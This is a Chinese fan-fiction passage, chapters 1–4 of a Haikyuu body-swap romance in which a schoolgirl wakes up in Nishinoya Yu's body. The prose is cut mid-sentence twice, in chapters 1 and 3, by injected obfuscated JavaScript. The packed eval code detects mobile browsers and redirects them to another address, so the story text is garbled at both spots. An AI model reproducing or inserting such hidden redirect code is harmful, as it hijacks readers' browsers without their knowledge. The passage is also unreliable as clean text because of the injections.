《互换身体后和西谷打上了排球》 1. 01章 01章——世上最任性的一见钟情 这天上午，九里绘和往常一样，坐在教室前排、靠窗的位置，坚决不主动开口，以此来回避大部分社交。 一般在这种情况下，同学们见她孤僻又冷淡，不好相处，便不会再耗费时间和她说话。 可是今天不太一样…… “哟，西谷！”某个没见过的男生伸手搭在她的肩膀，嬉皮笑脸地说，“作业情况如何？肯定没写完吧～” 九里绘顿时感觉被拍击的位置一阵发麻，她紧紧攥住书页的边缘，不知道该怎么回答，如坐针毡。 …要命了，是一点都不一样！！ * 不管就读的年级如何变化，年龄后面的数字如何在年复一年的日历上累加，一到课间，教室和走廊总会自动转换成热闹的菜市场。 学生们三五成群地聚拢到一块，像是忙里偷闲的菜市场摊主，聊天声盖过了周遭所有细碎的动静。 他们常常会随心所欲地发起话题，再选取其中几个有意思的点子展开讨论。 好比教室后排靠窗的那几名男生。 “西谷今天的状态不对啊，什么情况？” 偷听到这句直击人心的开场白时，前排座位上的九里绘动作一顿，提笔的手指立刻在半空中按下了暂停键。 她集中精神，全身心投入地…继续偷听。 “有吗？我看他身体一向挺好的啊。” “…没说身体健康方面的问题，你们不觉得奇怪吗？”说话的人大大方方地指过去，语气十分直白，“西谷他啊，是一个会照老师要求做课后拓展作业的人吗？” “——不可能，绝对不可能。”旁听的人果断接话。 座位上的“西谷夕”琢磨了一秒，将课后习题做到一半的册子合上，笔甩到旁边，边揉着脖子边看向窗外，假装漫无目的地望天，颇有此地无银三百两的风范。 “也不对啊，西谷他是一个会在课间老老实实呆在座位上的家伙吗？” “——不可能，绝对不可能。”旁听的人双手比叉。 九里绘：“……” “真是奇怪。”说话的人摸摸下巴，用着无意识放大的音量道，“简直像性格上变了一个人似的。” 别说了，再说下去，“西谷夕”快要装不下去碎掉了。 男同学耸了耸肩膀：“西谷肯定有他的理由吧，像是【为了在女孩子面前留下一个绝佳的初印象，从而展开演练】之类的……比起太过热情主动的男生，最近的女孩子们好像更加偏好高冷类型。” “说得也是……” “可恶，凭什么一定要高冷啊，热情主动、活力四射就不行嘛！？” “而且还不能学习成绩太差，可恶，学渣就不行嘛……” 嗯，真的不行。九里绘悄悄地在心里说。 她对帅哥的自定义构想是那种冷静理性派、长得很高、成绩又好的男生，完全参考了和她本人反着来的模板。 话题一经拐弯，便会像脱缰的马那样无法挽回，这对于九里绘来说是好事，至少他们成功替她找到了理由蒙混过关。 危机解除，她暗自松了口气，撕了两张笔记本末页的纸，用扭曲的字体飞快写下“今天！身体！不舒服！！”贴在桌面的左上角，和这具身体的后背上。 以她对西谷夕单方面的了解，先不管日常生活演没演对，总之把所有句子后面加上感叹号准不会有错。 所有该做的都做完了，九里绘起身离开座位。 去洗手间的路上，约摸估计至少有八个人朝着她这里挥手。 同班的、不同班的全部包括在内，那些人为数不多的共同点是：都是男生，并且她谁也不认识。 显而易见，在同性间受欢迎的西谷夕和她有着截然相反的社交属性。 “西谷！”这不又来一个。 “西谷夕”颇为保守地抬起手臂，音量和气势不足地回了一句：“早。” “？”对方神色愣住，像是见到了什么不可思议的画面，而后猛然转身，随机逮住一个路人问道，“西谷今天的状态不对啊，什么情况？” “是发型的原因吗？” “果然是发型吧。” 九里绘：“……” 同样的话题再次出现了，世界就是个巨大的轮回演出。 过于玄幻的现状，让需要考虑的事情在短时间内堆积成山，九里绘那为数不多的大脑内存快要爆炸了。 头脑陷入一片混沌之间，九里绘看着陌生的手掌心，用力攥起，思绪也被拉回到她和这具身体原主人缘分的起源。 ——大约要追溯到两年前。 * “小绘，怎么样怎么样，画面清晰吗？”国中的前桌久菜和子问道。 随着她的话音落下，镜头一阵晃动，响起指背轻碰的敲击音：“还不错，你再跑远些，测试下对焦。” 久菜和子开始跑，声音变得越来越小：“那可是家里新买的相机，我偷偷带出来的，千万别敲坏了！” “不会弄坏…画面很清楚，背景带有一定的模糊效果，可以重点凸出人像。”自动对焦完成，九里绘下结论，“挺适合拍摄双人照。” 久菜和子又一路跑回相机前，带着毫不掩饰的期待眼神，九里绘和她大眼瞪大眼，眨巴了好几下，才想起来追加：“拍出来的你会可爱。” 她不理解为什么久菜和子与多数女孩子一样喜欢被夸照相可爱、或是好看，明明不去拍照这个结论也不会改变。 但既然久菜和子在乎，九里绘告诉自己一定要说出来。 “嘿嘿。”久菜和子满意地挺起胸膛，“及川学长今年就要毕业了，这一次，绝对不能再错过特写双人照的邀请机会！” “小绘帮我搬相机，小绘好，你也来拍，我包洗照片。”久菜和子爽快大方地表示。 “不用。”九里绘表情平静地合上机身盖，把东西塞回挎包，还给久菜和子。 九里绘双手插在校服外套的衣兜，点了点下巴说：“你先进去吧，我去买瓶水。” “好～” 十几分钟后，在不明路人的指引下，九里绘七拐八拐找到了一台陈旧的自动售货机。 机器看起来废弃已久，里面没人补货，空得只剩下角落里结起的蜘蛛网。 九里绘掏硬币的手摇摇欲坠。 水没买到，还顺带迷路了。 “请问下，体育馆怎么走？”九里绘紧急在路边拦人，重新问路。 那人回答：“你是说一公里开外的那座比赛馆吗？” 九里绘的脸抽了抽：“……应该是吧。” 在艰难的返程中，口袋响起了默认电话铃。 九里绘按下接听键，另一头传来嘈杂的背景音和久菜和子的疑问：“小绘你到哪里去了，迷路了吗？比赛马上要开始啦！” “你拍完合照了？” “…被人抢占先机了！！” 那就是没拍到的意思。 “你别着急，我看到入口了。”九里绘一边跑一边说，“和子对体育运动本身没什么兴趣吧？为什么突然对排球那么上心？” “因为我喜欢看帅哥，是的，我就是恋爱脑。”久菜和子即答。 “曾经有一份真诚的一见钟情摆在我面前，我没有珍惜。等到失去的时候，才追悔莫及……”久菜和子演技爆发地啜泣起来。 “没有关系，虽然男排部最帅的及川学长马上就要毕业，但同队还有一位池面脸代餐可以吃。” 久菜和子自言自语地狡辩：“绝对不是见色起意，是缘分使然！” “会有那么巧合的事情吗？”九里绘对这类话题不感冒，语气平淡地询问。 久菜和子在电话那头急得团团转：“当然啊…等等，莫非小绘你听我解释了那么久，还是不能理解这种程度的现代文词汇吗？” 怎么听着自己像原始人。 “嗯。”九里绘没多想就直接应下，“我很难理解这种东西…要想亲身体验一次需要碰运气，你知道的，我的运气向来不好。” “永远抽不到奖的扭蛋，二分之一概率也能蒙错的选择题，说起来上周画黑板报的白色颜料轮到我手上，才挤了个头就没了，像这种事情比比皆是。”九里绘举例说明。 久菜和子无言以对，只能叹息：“感觉小绘你这辈子都谈不成恋爱了。” 九里绘进行了奇妙的答非所问：“所以下次的黑板报也让我来画吧，我前天去爬山取材，拍下了一幕氛围不错的夕阳。” “哇，今天是久违的文艺少女小绘酱。”久菜和子欣慰道，“也是用相机拍的吗？” 九里绘：“用眼睛。” 久菜和子：“……好，完美的九里式脑回路。” 聊天耽误了一些时间，九里绘兜兜转转，终于找到了疑似入口的侧门。 她在走向侧门的中途止住脚步，偏过头，听着一大堆人的声音自拐角处响起。 九里绘皱了皱眉，正想着避开人群，一个被簇拥在前排正中心的矮个子当即闯入视野—— ——瞬间给了她会心一击。 若是用九里绘的奇妙比喻来描述第一眼的感觉，那炸得仿佛是杨桃远亲的发型，一缕棕黄色刘海自然垂在额前，像一串人参…… 穿着普通的队服，不是队长那种领头羊，不够出类拔萃的身高，挺瘦的，绝非专攻健身的体格。 半点都不符合她欣赏异性的标准。 可即便是这样，意识却力压一切，强硬地弹出一句：【有趣】。 异样的情绪毫无逻辑地产生了，她无法移开视线。 【喜欢】。 伴随着大脑深处响起的直觉警报，九里绘表情空白地怔愣在原地。 “想象一下女生们看到我比赛时的精彩表现……我会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730958|145036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变得超受欢迎吧！！！”矮个子兴致高昂地说。 “西谷的这番话从入学起说到现在了呢。” “每年依旧没有任何变化啊…我指的异性缘。” 矮个子朝着空气挥拳：“可恶！！可恶啊——！！！” 一切就是那样的不讲道理，仿佛有一把利刃刺穿了包裹着她的个人世界屏障，接着硬生生在白色世界里挤入一把陌生的颜料。 让他从此在九里绘的眼里拥有了特定的色彩。 九里绘往旁边挪了几步，立即拨回号码，语速极快地说： “前天爬完山的时候正逢日落，晚霞和黄昏交界的地方是天际线。天际线的线头上偶尔会露出一小团绒毛，那团绒毛是青色的，粉紫色的，我想伸手去抓，但是没有抓到。” “啊？”不在现场的久菜和子一脸懵逼。 九里绘卷起左手的五根手指，形成一个圆形的小洞，而后闭起右边的眼睛，让左眼单独凑到洞口。 悄悄地、不动声色地对准了西谷夕远去的后背：“为了尽力去抓住它，我像这样对准了那片夕阳……” “对准那片夕阳，然后我恰好在路的尽头看见了他。” “他和那条天际线持平，背影和阳光一样闪耀，闪耀得一点都不刺眼，很温暖，必要的时候却能把人给烫死——大概是这样的感觉。” “…？？？” 听到如此抽象且意识流的形容，久菜和子完全没搞懂她在说些什么。 心脏在乱跳，脑袋混乱得晕头转向，九里绘的精神却在高度集中。 “我似乎能够理解你口中的那四个字了。”她轻轻地说，“我有点喜欢。” 久菜和子一下子打起精神：“一见钟情吗！？” 九里绘一本正经：“见色起意。” 久菜和子露出了痛苦面具：“对不起，小绘，我不该教坏你的……请你千万不要把这种话随便挂在嘴边。” 和子：“再不济也该说成缘分使然吧！” “好吧。”九里绘撇嘴，小有埋怨地喃喃道，“四字熟语实在是太难了。” 何况喜欢就是喜欢，哪来的那么多分类。她心想。 从小到大异于常人的思维方式，让九里绘意识到她口中的“喜欢”大约和社会传统论调上的“喜欢”是不一样的。 也许就是因为这份“不一样”所带来的特殊感，令她阴差阳错地在一个人身上体会到了堪比探索的乐趣。 先有“喜欢”，接着便会滋生出好奇心，再形成让人想要更加深入探索下去的爱好。 九里绘看似面无表情地在那群男生的队伍旁边擦身而过，竖起耳聆听他们入场前的最后一个话题。 “说起来，明年毕业后西谷打算去哪所学校？” “乌野！” “诶，乌野是什么排球强校吗？” “不重要！！” 那么重要的是什么呢？ 仿佛从心脏深处自动涌现出来的热意，推动着九里绘自行想象出了下一句话。 放在现实里一定不会有人这么讲的吧…这种无厘头又会被吐槽为毫无意义的理由：【因为乌野的校服外套是黑色西装。】 拜托，那可是黑色诶，九里绘寻思着，作为一名纯黑控，为了黑色西装，她什么都会愿意做的。 门的另一侧，西谷夕敏锐地察觉到某种视线，猛然转头，目光却只撞上了关闭的入口大门。 没有细究下去，他回头继续和队友们说：“乌野的校服可是黑色竖领西装啊！！” * 错过了后半段对话的九里绘陷入苦思冥想。 她今天的遭遇好像能直接用到课上新学的四字熟语来概括，叫什么来着，“欲/火焚身”？ 嘶，不太对，要不然就用“同归于尽”吧。 ……想起来了，这种时候得用“任性妄为”。 不久后，九里绘终于找到了她想要的观众席，在无人的空位坐下。 比起身旁情绪激动的学生们，她的脸上依旧没什么表情，还毫无征兆地在手机里宣布：“两年后，我要报考乌野高校。” “拼命也要考上。”她的浅蓝色眼睛闪过一丝锋芒，用上赴死般的口吻。 电话另一头的久菜和子吓得手里的应援棒掉了一根：“啊？” 过来的路上究竟发生了什么？被卷入世纪大战了吗？ 慢着先不管这些…… “小绘你在哪里？我没看见你。”久菜和子问道。 “不用低头，你向前看。” 久菜和子循着她的说法往前方望去，横穿过整个场地上空，视线落到了对面的观众席。 只见千鸟山学生的座席间，赫然冒出了一个穿着北川第一制服的身影。 九里绘举手，张开口型：“嗨。” 然后挥舞起了千鸟山的应援棒。 久菜和子：“…哈？？？” 2. 02章 02章——起始于扭转天空 那场比赛的结果以千鸟山负、北川第一中学胜告终。 最后一声长哨音吹响，九里绘听见周围人陆陆续续的惋惜，发自内心地感慨出声：“很好的比赛。” 虽然她没太看懂。 人们闻言全都朝她看去，动作整齐划一，只需要瞥一眼就能发现白蓝色的校服外套在一众千鸟山制服里格外瞩目。 他们诧异，他们不解。 话说北川第一的学生为什么坐在千鸟山的区域？她是一个人硬看完了全场吗？ 跑错位置了吧，是故意的还是不小心的？ “是故意不小心的。”面对人们复杂的视线，九里绘快速说完这句话后，把千鸟山的应援棒收进口袋保存，跟无事发生一样起身离开。 到走廊重新与久菜和子会和，九里绘低下头：“抱歉，一时冲动就精准投敌了。” “投、投敌？也没你讲的那么夸张吧。”久菜和子露出一副过来人的表情，调侃地拍了拍她的肩膀，“没关系，学校是一时的，帅哥是一世的。” “心动男嘉宾是千鸟山的男排成员吧，他叫什么名字？” 久菜和子非常熟练地说：“不对，按照小绘一贯的脑回路，肯定没把对方的名字记住……所以他的队服背号是多少？” 九里绘的目光马上甩向一旁空白的墙面，她抿了抿嘴：“现在…这种事情不重要。” 就在久菜和子想要追问下去时，九里绘突然握住拳头，悬在身前：“再过几天，就轮到我的第一次县内预赛了，可没有更多的空闲时间让我去探索他。” 探索他？…好陌生的语言表达。 “小绘。”久菜和子顿时语塞，严肃且充满敬意地开口。 “嗯？”九里绘句句有回应。 久菜和子：“你果然是个恋爱脑绝缘体。” “？”九里绘眼里的疑惑短暂停留了片刻，很快便荡然无存了。 * 感谢沉迷于帅哥的朋友和子，感谢一直呆在排球队的及川学长，也很感谢迷路了的她自己，没有这一串连锁效应就没有第一次的意外见面。 毕业前，九里绘有预谋地去见了第二次…… 忽然间，回忆的大部分场景被一卷强劲的风给吹没了。 头顶的天花板破开一个大洞，九里绘瞟了一眼四周，见证着记忆里的久菜和子与人群一同消散。 取而代之的是她再一次站在了比赛场馆的入口前。 时间快速推进至国中二年级，将近一年零两个月前，她最近的一次，也是国中最后一次观看排球比赛。 当时由于一些特殊的情况，她没有被列入体操校队的正选名单。 教练和指导教师要负责带队，给她放了两天假期，时间得以空闲下来之后，她翻出了千鸟山的赛程表。 久菜和子还是陪她一起来了，见面就使出飞扑：“小绘——” 九里绘接住，任由她抱着，嘴也不闲着：“水买好了，没有迷路，不会再跑错观众席。” “你别会错意了，我要看的篮球部帅哥在别馆。”久菜和子无情地撒手，抱起相机。 “？”九里绘歪了歪头，“好吧。” 太可惜了，北川第一男排部的那个谁…池面代餐完败。 “再见了小绘，我们就此别过，祝你和千鸟山的心动男嘉宾有所进展。”久菜和子挥挥手帕。 “等等，和子。”九里绘叫住她。 久菜和子停下脚步，回头单手叉腰：“怎么了？” “我没说要和他认识吧。” “啊？“ 九里绘疑惑道：“一见钟情是我自己的事，本来就跟他没什么关系。” “稍等，我在思考。”久菜和子捂脸，“你对他的见色起意呢？” “多看几次不就好了？”九里绘很自然地接话。 久菜和子：“…别吵，我在烧烤。那你还准备去和他搭话吗？” “还没到时候。”九里绘富有原则地说，“县内的体操比赛，下次还有机会，再不济就等下学期，下个学年，毕业前少一次都不行，一次都不能够耽误。” 听着九里绘丝毫没有动摇的声线，久菜和子在心里默默地为那名心动男嘉宾祈祷。 九里绘这个人啊，只要谈及她目前一心一意投身的领域，话就会不自觉地多起来，半点都看不出她安静寡言的表面性格。 因为那些个脱离了兴趣领域的事物，都很难入她的眼。 所以这次好不容易有了特例，久菜和子在对后续故事产生好奇的同时，更多的是为她感到惊喜和高兴。 可惜九里绘态度坚决：“在此期间，我是不会多分心思出去的。” “这种东西居然还会有档期冲突……”久菜和子吐槽道。 “应该是吧。”九里绘同意这个说法，“我是很专一的。” 和子：“专一这个词…不是这样用的……” “不是吗？”九里绘呆呆地歪了歪头。 沿着通道坐进有些空旷的观众席，落座后，清脆的哨音响起，台下的比赛场地升起了白网，两方成员各自回到站位。 因为饱含着期待，九里绘身上的肌肉发力，乖巧地坐端正。 老实说她不太懂排球，只擅长看记分板来了解胜负局势，所以回忆里的比赛现场与现实有差异，总体看起来格外混乱。 两边的球员不是在扣球就是在扣球的路上，那颗三色排球在空中不停地“旋转，跳跃，我闭着眼（？）”，观众们的目光也紧跟着排球来回移动。 出于好奇心作祟，有一回，九里绘问：“你们把头转来转去，这是在看什么？” 观众们激动地说：“看扣球啊！！” 九里绘兴趣缺缺：“…哦。” 混在观众席里的九里绘一直是个不怎么看球的异类。 她大约知晓排球是个在空中完成决斗的运动——因为当排球与天空脱节，彻底摔在地面上时，这一分的胜负也就尘埃落定了。 可是九里绘偏偏不爱看天空。 她习惯我行我素，看所有比赛向来喜欢往下看，往地面看，就跟平时沿着山路奔跑一样，能够杜绝一脚踏空的隐患，给予她很大的安全感。 于是，跟随自己的内心，九里绘的视线一路向下。 向下—— “砰。”耳边响起了脚掌用力踩地的声音。 右方队伍扣球的轨迹进入到了一个无人防守的范围内，就当所有人都以为这场天空战胜负已定之时，接踵而至的“砰”声响起。 突然间，九里绘的瞳孔微缩，她的目光紧紧追踪着地面上的某处，脚比脑快一步站起身。 第二与第三次的撞击音效几乎重合在一起，是膝盖砸向地板的声音，西谷夕奋力一扑，朝着球的落点伸出 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可是在接球的刹那，九里绘愿意一口咬定：别管什么天空和地面了，整个世界都该是属于他的！ 在那一瞬世界里，排球自下而上高高飞起，天空与地面都为之倒转过来。 …原来如此。 九里绘把注意力放在自己逐渐加快的心跳，领会到了这种感触。 比起扣球，她更加喜欢看接球。 若是非要用她的语言来描述出这份新奇又陌生的感受，那么接球就是一种“扭转天空，驰骋在地面上的飞翔”。 九里绘无意识地捏住了手指，冲到看台的栏杆边上，想要更清晰地捕捉那个和她带来惊喜和乐趣的人影。 【-我没说要和他认识吧。】 【那你还准备去和他搭话吗？】 【-还没到时候。】 打脸总是来得如此迅猛且猝不及防。 【如果有机会能在将来认识他的话……】九里绘忍不住去想象。 【如果运气再好一些，在认识他之后，有机会去深入了解一下他在接球时到底拥有怎样的心情和感想……】 【肯定是一件特别、特别有趣的事情吧。】 【“扭转天空”。】 …… 等到那场比赛结束，她留到了最后，望着千鸟山全队离开的方向。 不着急。 九里绘这样告诉自己。 即使错过了国中，也还会有高中、大学、工作…人生路有很长，到了将来也不迟。 就这样，怀揣着一腔不知来源何处的热意与自信，九里绘头也不回地离开体育馆。 ——他们乌野再见。 * 回忆梦戛然而止，九里绘睁开双眼，醒了。 ……还是从床上滚下来的。 早晨的一束阳光从窗帘的缝隙中探出头。 她每天醒来的习惯，是先和比自己晚起的闹钟打声招呼，以此来嘲笑它。 “早上好。”九里绘缓缓打了个哈欠。 音色不太对劲。 睡眼惺忪的九里绘没有当回事，她伸了个懒腰，直接上手开始换衣服，指尖从睡衣的领口伸进去。 好平好瘦啊，像个男生。 ……？诶？ 3. 03章 03章——社死的另有其人 九里绘怀着疑惑的心情继续向上探。 摸到颈部一块有着些许突起感的软骨时，九里绘后知后觉地意识到了什么，忽然全身的力气一松，手臂晃荡着垂落下去，心中若有所思。 而后用迅雷不及掩耳之势做出假动作蒙骗过身体，精准地攻向下三路——扯开了挂在腰部的松紧带！ 她看，她看。 …哇，真的是男生诶。 就近拿起床头柜的手机，点开前置摄像头。 “……”过了五秒，九里绘心情复杂地摁灭屏幕。 捂住脑门，由衷地后悔自己为什么脑袋一抽，做出了一个有侵犯他人隐私嫌疑（看光了别人）的举动。 想深入了解也不至于深入到这种程度吧！ ……对不起！！！ 九里绘双手合十，就地开始忏悔。 对不起，虽然结合了“故意+不小心”的双重动机不纯…但容许她为自己狡辩一下，一切都是好奇心使然的错。 请看在她没当过男生的份上原谅她这一回，下一次不会再犯了……好，忏悔结束。 睡裤的松紧带弹回皮肤，九里绘再次进一步通过摸喉结确认了现状。 她现在的身体真的变成一个男生了！ “啪！”手掌猛地拍在脸颊两侧，有点疼，重点是四周没有发生任何的变化，证明不是梦中梦，而是和手掌一样冰冰凉凉的现实。 大约在脑袋停止运转的第十秒，九里绘快速适应了现实，一步一步踏入敞开门的卫生间。 关门，上锁。 看着镜中那张相当有少年意气的脸，以及刚才拍出来的红手印，在好奇心的驱使下，九里绘拨弄起了额前一缕颜色不同寻常的金色刘海。 不算完全的金色，只能说金得有些棕黄色吧。 九里绘一边这样想着，一边把它玩成了一撮跳舞的人参。 她不是自己性转成男生了，而是身体直接变成了另外一个人。 卧室和卫生间的环境令她感到陌生，所以用小说漫画里最常见的设定来形容是…… 她的灵魂钻到别人的身体里去了！ 好消息在于这具身体的原主人是她认识的人。 如果没有记错的话…… 眼睛微微合上一半，九里绘的脑海里渐渐浮现出回忆梦中那个模糊的、色块般的轮廓，并在心中默念出那个名字。 是千鸟山的西谷夕。 不对，他现在是乌野高校二年级的西谷夕。 倒不如说，九里绘正身处于她当年为自己设想中的“将来”。 * 九里绘，性别女（现在非常需要强调），宫城县立乌野高等学校1年级2组的学生。 身体健康，家庭和睦，自上学以来没有获得过什么杰出的成就，也没有犯过什么严重的错误，生活可以用风平浪静来形容。 总是一个人行动。 鲜少主动与他人交流，自认为存在感比较低，实则未知，交到的朋友几乎仅限于校内可见。 到了国中毕业前夕，那本统一发放的同学录上一共只有四个人写下留言。 毋庸置疑，如果不是因为班费没花完所以由班长提出统一订制发放，九里绘压根没想过持有一本国中同学录。 她觉得没什么必要。 【前桌·久菜和子】：小绘毕业快乐！一定要考取最最最最想去的乌野啊，天然电波系无敌，天然电波系赛高！ovo 【学妹】：感谢九里学姐三年来为羽毛球社、合唱社、文学社、计算机社……（以下省略整整两行半的字）等社团提供的帮助。祝前程似锦。 【一个和谁都能聊起来的自来熟男同学】：印象中是个很内向的女生，为人非常温和大度，考试顺利啊。 【（谁？男的女的？是人是鬼？）】：可恶，居然今天才注意到可爱九里酱的存在！记得多笑笑才会成为受欢迎的人哦！ 九里绘曾认真地在每条留言下给予了回复：“嗯，好，我知道了。” 天然电波系？内向？温和大度？甚至有可爱…？这些偶有冲突的词真的是用来形容她的吗？ …还有，为什么要默认世界上的所有人都想成为很受欢迎的人？她就不太想。 接着合上同学录，把它塞到抽屉最深处的角落，静静地等待积灰。 ——她依旧死性不改。 九里绘从来不会否认任何人的好意，但会不留情面地拒绝自己不想接受的一切。 正如她坚信，自己的表情淡漠不经常笑，是生性不爱笑。 回到现实，她快步走进厕所隔间，从制服外套的口袋里翻出西谷夕的手机。 正打算再次拨通电话，一条来自未知联系人的短信几乎是同时弹了出来。 【这里是西谷！今天睡过头了！一醒来就变成了这样！！还不知道你是谁，现在我来教室找你！！！等着别跑啊！！】 九里绘茫然地拍了一下脑门：“…啊。” 她才刚离开教室没多久。 九里绘的思绪短暂地陷入了混乱，考虑到对方那恐怖的行动力，当务之急应该是来不及回消息了，她一把推开隔间门，冲了出去。 “喂西谷！你跑什么？！又想被停课吗？”碰巧经过的教导主任的声音回荡在走廊。 “…还有那名女同学，你是哪个班的？不要在走廊上随意跑动！” 在尽头楼梯口出现的身影，让九里绘第一次体会到了什么叫作视觉的冲击力。 毕竟一般来说，正常人根本没机会体验用他人的角度看向自己，除此之外便是那份感官和意识的矛盾感。 感官说：嘿，我看见自己了！ 意识却说：扯犊子，那压根不是我！ 还有不到三米的距离，九里绘擅自停下了脚步，恰好对面也是。 两个因为在走廊上奔跑而被教导主任高声批评的人，此时此刻四目相对，惊愕地注视着彼此的面庞。 仿佛是暴风雨来临前的宁静。 “诶！！？” 留着乌黑长发、看起来文静内向的女生率先爆发出了和样貌格格不入的惊人叫喊。 正准备把矛头对准“西谷夕”的教导主任疑惑地看向另一头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730960|145036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“？” “？？？”九里绘完全惊呆了，她第一次发现自己的那张脸可以摆弄出如此夸张的表情。 开什么玩笑，她可是平时连笑都不会笑一下的人！ 重点是这种极其夸张的表情居然还是动态的！下一秒，神色又立刻发生了难以描述的变化。 没等九里绘回过神，留着乌黑长发的女生一步步迈向她，伸出手臂向前一指，音量毫不收敛地说：“是你！果然是你啊！！——” 九里绘迅速冷静下来。 个性确认完毕，不会有错，肯定是身体互换。 换而言之，正如小说漫画里常见的设定一样，九里绘的灵魂钻进了西谷夕的身体，而现在呆在九里绘身体里的也是西谷夕的灵魂。 “你你你、你…”西谷夕愣在原地卡壳了半天，目光不由自主地向上飘去，“你的头发是怎么回事！早上没好好梳吗！？” “因为不会用发胶啊。”九里绘回答得很干脆。 话说回来，出现了互换身体那么严重的事件，西谷夕第一眼竟然只关注到了发型，倒是挺让她意外的。 不过她也不遑多让。 “衣服，你也没打理好。”九里绘说着，抬起手指捏住了女式校服马甲的一角，把不平整的边缘从短裙里拉出来。 西谷夕想后退也为时已晚，九里绘一把将他拽回，顺手帮他拍平了衣领口的褶皱，手指轻轻将脖颈间的发丝撩到肩后。 做完这一切，她方才收回动作，满意地点点头。 西谷夕呆若木鸡：“啊……” 在不知情的他人视角中，黑发女生表情凝固，然后低头瞄了眼上衣，脸瞬间变得通红，像是一壶烧开了的水。 众人嗅到了八卦的气息：…… 哇哦，这是他们可以免费围观的吗？ 一旁被无视良久的教导主任脸色变得十分难看。 教导主任正要发作：“这两位同学——” “主任，您的头发…”九里绘把假发二字稍作修饰，忍着偷乐的心情道，“戴歪了。” “！？”教导主任马上手忙脚乱地摸向头顶，轻易被转移了注意力。 九里绘鞠躬，有些礼貌但不多，口吻听起来莫名有种犟嘴的意味：“幸好只是看错了，真是抱歉。” 西谷夕：“…………” 他的喉咙是能发出这种声音的吗？ 九里绘的语速加快了一些，催促道：“走吧。” 一众学生们纷纷给他们让路，朝他们投去困惑和好奇的目光。 九里绘的内心毫无波澜，她用压低到快要挤出磁性的嗓音对西谷夕说：“走，换个地方，我们出去谈谈。” 西谷夕听闻后一愣，紧接着大脑宕机了。 但正所谓卡机重启乃维修的第一秘诀，很快，西谷夕的精神又再度充满了活力，注视着九里绘的眼神变得异常闪亮，好似在发光。 有人用他的脸喊出了仿佛要出门干架的气势啊…… 西谷夕：台词超帅的，该死，他的脸不管怎么看都好帅！！！ 九里绘：看一眼，好怪…再看一眼。 4. 04章 04章——虚假的平静与真正的热烈 楼梯间，沉浸在欣赏帅气表情中的西谷夕终于意识到他的壳子里载着女生的灵魂，飞快地挪开视线。 他右手捏左手，几番欲言又止：“那个，实在是对不起——” “没事。”九里绘直接打断。 “诶？”西谷夕愣了一下，“我还什么都没说？？” “哦，如果猜错了的话就抱歉。” 九里绘安静地看了他一眼，而后继续低头关注脚下的台阶：“人总是要上厕所和洗澡的。互换身体后有的事逃避不了，我不介意…希望你也不要介意我的想法。” 话音刚落，九里绘想了想，觉得自己应该适当多说点。 为了让西谷夕放宽心，她特意停下脚步，一丝不苟地补充道：“至少你发育得很健康，健康就是世界上最要紧的事了。” 什么健康？哪方面的发育健康？ 应该是想歪了吧…… …啊。 不对，结合上一句话来看，根本没有想歪啊！！ “啊啊啊啊啊啊啊你别说了！！！”反应过来的西谷夕用大声嚎叫掩盖他的情绪，恨不得把头砸进地板里。 九里绘疑惑地歪了歪头：“是我理解错了吗？” “没有！”西谷夕满脸通红，变成了圈圈眼，“对不起，我会负责的！！” “……什么负责？西谷同学又没做错什么事，不需要的吧。”虽然没听懂，但她有话必答。 九里绘口中的“换一个地方”是指教学楼最顶层的露天平台。 跟随她的脚步，看着墙壁上的楼层数字不断增加，西谷夕隐约猜到了目的地。 可是印象里，他记得通往楼顶天台的最后一道门是上锁的。 差不多两个月前，也就是上学期末尾，有群学生在午休期间跑到天台，扒着防坠落的铁丝网围栏，企图演绎现场版《丛林〇王》和《人猿〇山》，结果差点摔下去全军覆没。 这事把教导主任给气得不行，立马无差别封锁了整座天台。 等这则消息通报时，乌野高校的大半学生哀声连连，抱怨教导主任擅自删除了午休用餐的最佳地点。 “也是约会的啦！”有脱单人士混入其中，被大家几脚给踹了出去。 这件事发生在九里绘升入高中前，她可能不了解情况。 “天台是……”西谷夕才要说明，就看见九里绘从兜里掏出一根铁丝，他顿时瞪圆眼睛。 是那个…是电影里的那个吗！！ 真的像电影里经常出现的桥段那样，她将细小的铁丝折成两段，一段卡在锁芯的底部，另一段捅进陈旧的锁孔。 九里绘单膝蹲下，用最简单的手法，使出蛮力往里使劲捣鼓…… 直到响起一声微弱但清脆的高音。 九里绘松了口气，抹了一下额头：“幸好手没生疏。” 一回头，巨大的音量攻击波瞬间席卷而来。 “好厉害！！”西谷夕做出了超级捧场的反应，“怎么做到的！你每次来天台都要撬一遍锁吗？你上来过几次了？！” 九里绘被大音量惊得后退半步。 西谷夕：“抱歉！” 会和的短短几分钟内，在他们都没有意识到的情况下，两人已经能够大致对方辨别成其他人了。 兴许原因和许多小说漫画情节里的类似：不同的灵魂待在不同的身体里，会散发出不一样的气息，具体可以体现在行为举止上。 小到每一个下意识的呼吸、说话时神态和动作的变化，即使顶着张和自己一模一样的脸，大脑也会通过这些细枝末节的“气息”，把对方判定成“别人”。 西谷夕早就找回了属于他的正常状态。 可是九里绘做不到。 她给日常生活的精力分配中没有应付社交的一份，所以只要和不太熟悉的人进行长时间沟通，她会觉得很累。 更别提她明白眼前的这个家伙骨子里绝对是个把“累”字踹出了词典的西谷夕。 “……”九里绘看了他一眼，目光反复躲闪，却又多次重新聚焦在那双闪烁的眼眸。 似乎是在做某种心理准备。 